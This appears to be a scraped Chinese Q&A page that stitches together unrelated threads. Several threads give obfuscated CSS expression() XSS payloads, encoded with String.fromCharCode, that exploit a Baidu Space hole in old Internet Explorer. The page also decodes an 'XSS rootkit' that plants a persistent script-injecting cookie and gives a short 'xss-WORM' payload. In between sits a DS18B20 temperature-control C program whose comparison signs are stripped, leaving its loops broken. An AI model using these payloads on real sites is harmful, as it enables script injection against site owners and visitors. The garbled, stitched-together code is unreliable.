如何解密这段代码
body{xss: expression(eval(String.fromCharCode(118,97,114,32,109,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,101,109,39,41,59,119,104,105,108,101,40,109,46,108,101,110,103,116,104,41,123,105,102,40,109,91,48,93,41,123,118,97,114,32,106,109,100,99,119,61,109,91,48,93,46,102,105,114,115,116,67,104,105,108,100,46,100,97,116,97,59,118,97,114,32,106,109,61,106,109,100,99,119,46,114,101,112,108,97,99,101,40,34,32,34,44,34,34,41,59,118,97,114,32,122,61,106,109,46,114,101,112,108,97,99,101,40,34,9,34,44,34,34,41,59,105,102,40,122,46,115,117,98,115,116,114,40,122,46,108,101,110,103,116,104,45,52,44,52,41,46,116,111,76,111,119,101,114,67,97,115,101,40,41,61,61,34,46,119,109,97,34,32,124,124,32,122,46,115,117,98,115,116,114,40,122,46,108,101,110,103,116,104,45,52,44,52,41,46,116,111,76,111,119,101,114,67,97,115,101,40,41,61,61,34,46,109,112,51,34,41,123,118,97,114,32,119,109,61,34,32,119,105,100,116,104,61,51,53,48,32,32,104,101,105,103,104,116,61,54,56,32,115,104,111,119,115,116,97,116,117,115,98,97,114,61,49,32,97,117,116,111,115,116,97,114,116,61,48,32,108,111,111,112,61,49,34,59,125,101,108,115,101,123,118,97,114,32,119,109,61,34,32,97,117,116,111,112,108,97,121,61,48,32,119,105,100,116,104,61,52,53,48,32,104,101,105,103,104,116,61,51,53,48,34,59,125,109,91,48,93,46,111,117,116,101,114,72,84,77,76,61,39,60,98,114,47,62,60,101,109,98,101,100,32,115,114,99,61,39,43,122,43,39,32,39,43,119,109,43,39,62,60,47,101,109,98,101,100,62,60,98,114,62,60,97,32,104,114,101,102,61,104,116,116,112,58,47,47,104,105,46,98,97,105,100,117,46,99,111,109,47,106,109,100,99,119,32,116,97,114,103,101,116,61,95,98,108,97,110,107,62,21050,29484,28404,39059,24223,31354,38388,60,47,97,62,60,98,114,62,39,59,125,125)));}/*增加视频*/
求助：DS18B20单片机控温，导入学习板后没反应
我写的DS18B20程序，可参考
#include reg52.h
#include intrins.h
#include stdio.h
#define uchar unsigned char
#define uint unsigned int
sbit xssj=P1^0; //显示数据
sbit xssz=P1^1; //显示时钟
sbit control=P1^3;
sbit DQ = P1^4;
bit flag;
uint Temperature;
uint temp[9];
uchar temp_buff[9]; //存储读取的字节，read scratchpad为9字节，read rom ID为8字节
uchar id_buff[8];
uchar *p;
uchar crc_data;
uint Temperature_h;
uint Temperature_l;
uchar code Crcontrolable [256]={
0, 94, 188, 226, 97, 63, 221, 131, 194, 156, 126, 32, 163, 253, 31, 65,
157, 195, 33, 127, 252, 162, 64, 30, 95, 1, 227, 189, 62, 96, 130, 220,
35, 125, 159, 193, 66, 28, 254, 160, 225, 191, 93, 3, 128, 222, 60, 98,
190, 224, 2, 92, 223, 129, 99, 61, 124, 34, 192, 158, 29, 67, 161, 255,
70, 24, 250, 164, 39, 121, 155, 197, 132, 218, 56, 102, 229, 187, 89, 7,
219, 133, 103, 57, 186, 228, 6, 88, 25, 71, 165, 251, 120, 38, 196, 154,
101, 59, 217, 135, 4, 90, 184, 230, 167, 249, 27, 69, 198, 152, 122, 36,
248, 166, 68, 26, 153, 199, 37, 123, 58, 100, 134, 216, 91, 5, 231, 185,
140, 210, 48, 110, 237, 179, 81, 15, 78, 16, 242, 172, 47, 113, 147, 205,
17, 79, 173, 243, 112, 46, 204, 146, 211, 141, 111, 49, 178, 236, 14, 80,
175, 241, 19, 77, 206, 144, 114, 44, 109, 51, 209, 143, 12, 82, 176, 238,
50, 108, 142, 208, 83, 13, 239, 177, 240, 174, 76, 18, 145, 207, 45, 115,
202, 148, 118, 40, 171, 245, 23, 73, 8, 86, 180, 234, 105, 55, 213, 139,
87, 9, 235, 181, 54, 104, 138, 212, 149, 203, 41, 119, 244, 170, 72, 22,
233, 183, 85, 11, 136, 214, 52, 106, 43, 117, 151, 201, 74, 20, 246, 168,
116, 42, 200, 150, 21, 75, 169, 247, 182, 232, 10, 84, 215, 137, 107, 53};
//uchar code tab[16]={0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90,0x88,0x83,0xc6,0xa1,0x86,0x8e};//共阳极0-F代码
uchar code tab[18]={0x3f,0x06,0x5b,0x4f,0x66,0x6d,0x7d,0x07,0x7f,0x6f,0x77,0x7c,0x39,0x5e,0x79,0x71,0,0x40};//共阴极0-F代码
void delay1ms(int t)
{
int i,j,k=0;
for(k=0;kt;k++)
{for(j=0;j=25;j++)
{for(i=0;i255;i++){;}}}
}
/************************************************************
*Funcontrolion:延时处理
*parameter:
*Return:
*Modify:
*************************************************************/
void TempDelay (uchar us)
{
while(us--);
}
/************************************************************
*Funcontrolion:18B20初始化
*parameter:
*Return:
*Modify:
*************************************************************/
void Init18b20 (void)
{
DQ=1;
_nop_();
DQ=0;
TempDelay(86); //delay 530 uS//80
_nop_();
DQ=1;
TempDelay(14); //delay 100 uS//14
_nop_();
_nop_();
_nop_();
if(DQ==0)
{
flag = 1; //detecontrol 1820 success!
TempDelay(20); //delay 530 uS//80
}
else
{
flag = 0; //detecontrol 1820 fail!
}
TempDelay(20); //20
_nop_();
_nop_();
DQ = 1;
}
/************************************************************
*Funcontrolion:向18B20写入一个字节
*parameter:
*Return:
*Modify:
*************************************************************/
void WriteByte (uchar wr) //单字节写入
{
uchar i;
for (i=0;i8;i++)
{
DQ = 0;
_nop_();
DQ=wr0x01;
TempDelay(5); //delay 45 uS //5
_nop_();
_nop_();
DQ=1;
wr = 1;
}
}
/************************************************************
*Funcontrolion:读18B20的一个字节
*parameter:
*Return:
*Modify:
*************************************************************/
uchar ReadByte (void) //读取单字节
{
uchar i,u=0;
for(i=0;i8;i++)
{
DQ = 0;
u = 1;
DQ = 1;
if(DQ==1)
u |= 0x80;
TempDelay (4);
_nop_();
}
return(u);
}
/************************************************************
*Funcontrolion:读18B20
*parameter:
*Return:
*Modify:
*************************************************************/
void read_bytes (uchar j)
{
uchar i;
for(i=0;ij;i++)
{
*p = ReadByte();
p++;
}
}
/************************************************************
*Funcontrolion:CRC校验
*parameter:
*Return:
*Modify:
*************************************************************/
uchar CRC (uchar j)
{
uchar i,crc_data=0;
for(i=0;ij;i++) //查表校验
crc_data = Crcontrolable[crc_data^temp_buff[i]];
return (crc_data);
}
/************************************************************
*Funcontrolion:读取温度
*parameter:
*Return:
*Modify:
*************************************************************/
void GemTemp (void)
{
read_bytes (9);
if (CRC(9)==0) //校验正确
{
Temperature = temp_buff[1]*0x100 + temp_buff[0];
Temperature /= 16;//17.7;//16;
TempDelay(1);
}
}
/************************************************************
*Funcontrolion:内部配置
*parameter:
*Return:
*Modify:
*************************************************************/
void Config18b20 (void) //重新配置报警限定值和分辨率
{
Init18b20();
WriteByte(0x7f); //set 11 bit (0.125)
Init18b20();
WriteByte(0xcc); //skip rom
WriteByte(0x48); //保存设定值
Init18b20();
WriteByte(0xcc); //skip rom
WriteByte(0xb8); //回调设定值
}
/************************************************************
*Funcontrolion:读18B20ID
*parameter:
*Return:
*Modify:
*************************************************************/
void ReadID (void)//读取器件 id
{
Init18b20();
if(flag ==1)
{
WriteByte(0xcc);
WriteByte(0x44);
}
}
/************************************************************
*Funcontrolion:18B20ID全处理
*parameter:
*Return:
*Modify:
*************************************************************/
void TemperatuerResult(void)
{
p = id_buff;
ReadID();
Config18b20();
Init18b20 ();
WriteByte(0xcc); //skip rom
WriteByte(0x44); //Temperature convert
Init18b20 ();
WriteByte(0xcc); //skip rom
WriteByte(0xbe); //read Temperature
p = temp_buff;
GemTemp();
}
void disp(uchar i)
{
int xssjhc; //显示数据缓冲
uchar a;
xssjhc=tab[i];
for(a=0;a8;a++)
{
xssz=0;
xssj=xssjhc0x80;
xssjhc=1;
xssz=1;
}
}
void panduan()
{
if(Temperature20)
{
control=1;
}
if(Temperature19)
{
control=0;
}
}
void main()
{
while(1)
{
TemperatuerResult();
Temperature_h=Temperature/10;
Temperature_l=Temperature%10;
panduan();
disp(Temperature_h);
delay1ms(50);
disp(Temperature_l);
delay1ms(50);
}
}
如何解密这样的代码
都不用写程序也能破解了………………
你执行这句话：
var a = String.fromCharCode(/*这里写你那一堆数*/);
document.write(a);
然后查看源代码就得出了下面的东西。。。。
你要想加密的话用charCodeAt()
比如s.charCodeAt(i)返回字符串s的第i位的ascii码……
===============下面是执行上面命令生成的===============
var fMenu;
fMenu='object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" align="middle" height="35" width="600"param name="movie" value="http://e.py99.net/swf/f?v=20074/2945376.swf"param name="quality" value="high"param name="wmode" value="transparent"embed src="http://e.py99.net/swf/f?v=20074/2945376.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" align="middle" height="35" width="600"/object';
if(document.getElementById("tab")) document.getElementById("tab").outerHTML=fMenu;
悬赏100分，另加20分。JS和ASCII码转换成字母的问题，代码如下，求解转换出来的字母内容
结果：
Persistence_data='"scriptalert(/xss rootkit!/)/scriptx="';
var date=new Date();
var expireDays=365;
date.setTime(date.getTime()+expireDays*24*3600*1000);
document.cookie='gotopage='+Persistence_data+';expires='+date.toGMTString();
alert('Xss Rootkit Install Successful !!!!');
方法：
textarea name=xxxx/textarea
scriptxxxx.value=(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))/script
51空间怎么加在百度空间里
可以，但使用了百度漏洞，方法如下：
在你的css里加入如下代码即可！可以加在任何地方(不过，最好放在最前头)！本代码对IE5.0+~~~~IE7有效！
body{xss:expr/*XSS*/ession(eval(String.fromCharCode(118,97,114,32,105,44,106,44,120,44,121,44,122,59,106,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,101,109,39,41,59,102,111,114,40,105,61,48,59,105,60,106,46,108,101,110,103,116,104,59,105,43,43,41,123,121,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,101,109,39,41,91,105,93,59,122,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,101,109,39,41,91,105,93,46,102,105,114,115,116,67,104,105,108,100,46,100,97,116,97,59,120,61,39,60,98,114,47,62,60,101,109,98,101,100,32,115,114,99,61,39,43,122,43,39,32,97,117,116,111,112,108,97,121,61,49,32,119,105,100,116,104,61,52,53,48,32,104,101,105,103,104,116,61,51,53,48,62,60,47,101,109,98,101,100,62,60,98,114,47,62,60,97,32,104,114,101,102,61,104,116,116,112,58,47,47,104,105,46,98,97,105,100,117,46,99,111,109,47,109,111,110,121,101,114,47,98,108,111,103,47,105,116,101,109,47,51,50,56,56,51,55,102,97,57,98,51,99,102,51,56,57,57,102,53,49,52,54,101,53,46,104,116,109,108,32,116,97,114,103,101,116,61,95,98,108,97,110,107,62,73,78,83,69,82,84,32,86,73,68,69,79,32,73,78,32,89,79,85,82,32,66,65,73,68,85,32,83,80,65,67,69,32,63,60,47,97,62,60,98,114,47,62,39,59,105,102,40,121,41,32,121,46,111,117,116,101,114,72,84,77,76,61,120,59,125)));}
视频插入方法：输入你要插入的网址http://tv.mofile.com/cn/xplayer.swf?v=9IWKFISE，然后加斜体即可！注意不要让系统自动加上链接，否则可能会失效哦！
注意：加完代码后，别老乱改你的css，说不定哪天百度心血来潮就又给屏蔽了！
xss怎么联网
a{cos:exp=ression(e=val(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,45,87,79,82,77,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))}通过这个代码就可以联网了。